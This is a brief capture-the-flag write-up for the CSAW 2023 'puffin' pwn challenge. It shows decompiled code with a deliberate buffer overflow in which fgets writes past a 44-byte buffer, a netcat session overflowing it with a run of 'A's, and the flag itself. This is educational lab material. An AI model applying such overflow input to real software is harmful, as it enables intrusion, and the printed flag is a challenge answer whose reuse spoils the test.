4n86rakam1

puffin

Setup

docker build -t csaw23/puffin .
docker run --rm -p 31140:31140 csaw23/puffin

Flag

csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}

Solution

main decompiled with Ghidra:

undefined8 main(void)

{
  char local_38 [44];
  int local_c;

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  fflush(stdout);
  fflush(stdin);
  local_c = 0;
  printf("The penguins are watching: ");
  fgets(local_38,0x30,stdin);
  if (local_c == 0) {
    puts(&DAT_0010099e);
  }
  else {
    system("cat /flag.txt");
  }
  return 0;
}

root@kali:~/ctf/CSAW-CTF-2023-Quals/pwn/puffin# nc localhost 31140
The penguins are watching: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}

Referneces